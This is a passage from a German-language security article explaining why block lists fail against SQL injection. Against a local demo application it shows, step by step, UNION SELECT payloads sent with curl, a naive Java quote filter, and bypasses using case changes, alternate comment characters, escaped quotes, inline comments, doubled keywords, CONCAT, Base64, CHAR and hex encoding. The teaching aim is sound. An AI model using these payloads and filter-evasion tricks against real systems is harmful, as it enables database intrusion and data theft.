SQL Injection: Gezielte Maßnahmen statt Block Lists

Seite 2: Ping-Pong

Inhaltsverzeichnis

Sinnbild für Block Lists

(Bild: Wikimedia Commons)

Eine erste Idee zur Gegenmaßnahme könnte folgende Festlegung sein: Es sind nur Queries zugelassen, die an bestimmten Stellen Groß- oder Kleinschreibung aufweisen. Eine andere Variante wäre, dass die komplette Query eine einheitliche Schreibweise aufweist. Mit einer Prüfung auf Kleinschreibung würde

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' UNION SELECT NULL,NULL,(@@VERSION) -- "

nicht mehr funktionieren. Das ist aber ebenso schnell umgangen, indem die Angreifer die Anfrage anpassen:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null,(@@version) \
-- " -d blacklistconfig=block_anyuppercase

Der Suchraum ist dabei nicht besonders groß, da nur jeweils zwei Möglichkeiten pro Zeichen in Betracht kommen, wenn es sich um einen Buchstaben handelt.

Wenn auf die Query weitere Keywords folgen, ließen sich Kommentare mit -- in der Eingabe verbieten. Dadurch sollte es schwieriger werden, eine gültige Syntax aufrecht zu erhalten:

curl localhost:5808/sqlidemo/vulnbyid -d id="1' \
union select null,null,(@@version) -- " \
-d blacklistconfig=block_comment_doubledash

In dem Fall können Angreifer andere Kommentarzeichen verwenden:

curl localhost:5808/sqlidemo/vulnbyid -d id="1' \
union select null,null,(@@version) #" \
-d blacklistconfig=block_comment_doubledash

oder komplett darauf verzichten und auf das SQL-Kommando AS zurückgreifen:

curl localhost:5808/sqlidemo/vulnbyid -d id="1' \
union select null,null,(@@version) as username \
from user where id='1" \
-d blacklistconfig=block_comment_doubledash,\block_comment_hash

Um einen Ausbruch aus der Query mit einer Single Quote zu erkennen, wäre in einem potenziellen nächsten Schritt zu prüfen, ob die Eingabe eine ungerade Anzahl von Single Quotes enthält. Sollte das der Fall sein, fügt folgender Code ein weiteres Anführungszeichen hinzu:

long count = 
  userinput.chars().filter(ch -> ch == '\'').count();
if (count%2 != 0)
  filteredinput = userinput.replaceFirst("'","' '");

Danach funktioniert der letzte Angriff nicht mehr.

Die Abfrage erhält eine abschließende Single Quote.

Allerdings existieren Escape-Zeichen beziehungsweise -Sequenzen, bei denen die Datenbank bestimmte Zeichen als Bestandteil eines Strings interpretiert. In MySQL ist das bei \' der Fall.

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1\' UNION SELECT NULL,NULL,(@@VERSION) \
-- " -d blacklistconfig=add_oddsinglequotes

Der Code wertet das erste Anführungszeichen nicht als Ende des Strings, sondern als dessen Teil aus. Erst nach dem zweiten eingefügten Single Quote gilt der String als beendet. Somit lässt sich der Filter umgehen.

Eine weitere Variante wäre, bestimmte Keywords wie UNION SELECT im Eingabe-String zu verbieten:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null,(@@version) \
-- " -d blacklistconfig=block_keywordsequences

Der Code blockt einzelne Keywords.

Als Gegenmaßnahme können Angreifer wiederum datenbankspezifische Features nutzen. Beispielsweise können sie über /**/ einen Inline-Kommentar einfügen, was einem Leerzeichen gleichkommt. Folgender Befehl hebelt die Analyse aus:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union/**/select null,null,(@@version) \
-- " -d blacklistconfig=block_keywordsequences

Sollte der Filter bestimmte Keywords einfach entfernen wie hier union select:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null,(@@version) \
-- " -d blacklistconfig=strip_keywordsequences

reagiert der Angreifer, indem er den String doppelt mitgibt:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union union selectselect null,null, \
(@@version) -- " -d blacklistconfig=strip_keywordsequences

Schließlich ließe sich der String version unabhängig von der Groß- und Kleinschreibung komplett sperren, da er in MySQL für die Abfrage der Version dient:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null,(@@version) \
-- " -d blacklistconfig=block_badstrings

In dem Fall können Angreifer die Versionsnummer direkt aus der Tabelle als String lesen und dabei eine Verkettung verwenden. Das funktioniert entweder über

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null, \
(select variable_value from \
information_schema.global_variables \
where variable_name=CONCAT('VERSIO','N'))\
-- " -d blacklistconfig=block_badstrings

oder mit

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null, \
(select variable_value from \
information_schema.global_variables \
where variable_name='VERSIO' 'N') \
-- " -d blacklistconfig=block_badstrings

Falls der Filter auch das Vorgehen erkennt, können Angreifer auf Base64 zurückgreifen:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null, \
(select variable_value from \
information_schema.global_variables \
where variable_name=FROM_BASE64('VkVSU0lPTg==')) -- "

Sollte das System Base64 erkennen und abwehren, verwenden Angreifer Ascii-Zahlen-Werte:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null,\
(select variable_value from \
information_schema.global_variables \
where variable_name=CHAR(86,69,82,83,73,79,78)) -- "

Existiert auch dagegen eine Abwehrmaßnahme, lässt sich die Hex-Repräsentaton nutzen, die jeweils einen String zurückliefert:

curl localhost:5808/sqlidemo/vulnbyid -d \
id="1' union select null,null, \
(select variable_value from \
information_schema.global_variables \
where variable_name=0x56455253494F4E) -- "

Am Ende könnte ein Request, der nahezu alle vorangegangenen Schutzmaßnahmen umgeht, folgendermaßen aussehen:

curl http://localhost:5808/sqlidemo/vulnbyid \
  -d id="1' unionunion select select null,null, \
  (select variable_value from \
    information_schema.global_variables \
    where variable_name=0x56455253494f4e) \
  as username from user where id='1" \
  -d blacklistconfig=\
add_oddsinglequotes,\
strip_keywordsequences,\
block_comment_doubledash,\
block_comment_hash,\
block_anyuppercase,\
block_badstrings,\
block_concatenation,\
block_base64,\
block_char_function

Mehrere Varianten umgehen potenzielle Sicherheitsmechanismen.